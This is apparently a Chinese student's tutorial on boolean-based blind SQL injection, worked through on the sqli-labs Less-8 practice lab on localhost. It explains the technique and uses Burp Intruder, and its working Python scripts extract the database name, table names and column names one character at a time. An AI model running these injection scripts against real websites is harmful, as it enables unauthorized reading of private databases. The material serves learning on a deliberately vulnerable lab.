天天看点

sql注入学习——布尔盲注

前言:之前通过前九关学习到了回显注入、报错注入等一些方法,这次就来详细的学习布尔盲注。

首先来了解一下盲注的概念

盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。

布尔盲注

原理:

注入的时候只会返回

True和False

,所以布尔盲注就是根据页面显示的是

True还是False

进行猜测数据库中的信息。

布尔盲注需要几个函数的辅助,就先来了解一下这几个函数

length()函数可返回字符串的长度
substring()函数可以截取字符串,可指定开始的位置和截取的长度
ord()函数可以返回单个字符的ASCII码
char()函数可将ASCII码转换为对应的字符
           

具体的用法可以参考大佬的博客Mysql语法介绍,接下来就通过sql-labs练习布尔盲注。

判断注入点(也就是闭合符号)

发现输入

id=1'

会报错

http://127.0.0.1/sqli-labs-master/Less-8/?id=1'
           

id=1'

后再加上注释符号后又回显正确,所以判定闭合符号为

'

爆数据库长度

知道闭合符号后,先来爆一下数据库名的长度,这里就用到上面所说的函数了

回显正确

sql注入学习——布尔盲注

手工注入的话就要一遍一遍的试试,将后面的长度不断增大,最后得出数据库名的长度为

8

爆数据库名

知道了数据库名的长度,接下来就来爆破数据库名

原理都一样,目的就是取出数据库名中的一个字符通过比较ascii码来猜测出数据库名,但是如果手动爆的话太浪费时间了,可以写

脚本

,也可以用

burp爆破

,这里两种方法都试一下

burp爆破

先抓包

sql注入学习——布尔盲注

设置变量,这里设置了两个变量所以上面的框中要选

第四个选项

sql注入学习——布尔盲注

第一个变量设置为

numbers

1到8,第二个变量也设置为

numbers

0到127

sql注入学习——布尔盲注

分别设置好,然后开始爆破。

不过太慢了,应该是我burp设置的有问题,这里就学习一下这种方法,爆破还是脚本来吧。

sql注入学习——布尔盲注

附上大佬博客利用burp盲注

脚本爆破

目前脚本还不会写,就参考大佬的学习一下

大佬博客布尔盲注

脚本中一些不太懂的语法就参考下面大佬的博客

Python requests

Python——入门级(定义功能def函数)

格式化输出字符串

import requests
def database_len():
	for i in range(1,10):
		url = '''http://127.0.0.1/sqli-labs-master/Less-8/index.php'''
		payload = '''?id=1' and length(database())>%s''' %i  #格式化输出字符串
		# print(url+payload+'%23')
		r = requests.get(url+payload+'%23')
		if 'You are in' in r.text:
			print(i)
 
		else:
			#print('false')
			print('database_length:',i)
			break
database_len()
 
def database_name():
	name = ''
	for j in range(1,9):
		for i in 'sqcwertyuioplkjhgfdazxvbnm':
			url = "http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and substr(database(),%d,1)='%s'" %(j,i)
			# print(url+'%23')
			r = requests.get(url+'%23')
			if 'You are in' in r.text:
				name = name+i
				
				print(name)
				
				break
	print('database_name:',name)

database_name()
           
sql注入学习——布尔盲注

爆出了数据库名和长度,接下来改payload爆出表名

payload:

修改一下脚本

import requests

def table_name():
	name = ''
	for j in range(1,9):
		for i in 'sqcwertyuioplkjhgfdazxvbnm':
			url = "http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),%d,1)))=ord('%s')" %(j,i)
			# print(url+'%23')
			r = requests.get(url+'%23')
			if 'You are in' in r.text:
				name = name+i
				
				print(name)
				
				break
	print('table_name:',name)

table_name()

           

通过修改

limit 0,1

来获取其他表名

sql注入学习——布尔盲注

爆出列名

payload:

修改脚本,跑出列名

import requests

def column_name():
	name = ''
	for j in range(1,9):
		for i in 'sqcwertyuioplkjhgfdazxvbnm':
			url = "http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),%d,1)))=ord('%s')" %(j,i)
			# print(url+'%23')
			r = requests.get(url+'%23')
			if 'You are in' in r.text:
				name = name+i
				
				print(name)
				
				break
	print('column_name:',name)

column_name()

           
sql注入学习——布尔盲注

其他的修改

limit

后的值即可得出其他的列名

爆值

脚本还和上面的相同,只不过改下payload,但是这个脚本是有缺陷的,就是在遍历,但是我们赋给

i

的字符只有小写的,有可能其他大写的或特殊符号显示不出来,只要加上就行了。但是这样做的话脚本跑的也会很慢,还是好好学习python,写一个更加便捷的。

最后总结一下布尔盲注常用语句

爆数据库长度

爆数据库名

爆表名

爆列名

爆值

语句几乎不变,根据需要加以改动即可,这次就先学习布尔盲注,接下来学习时间盲注。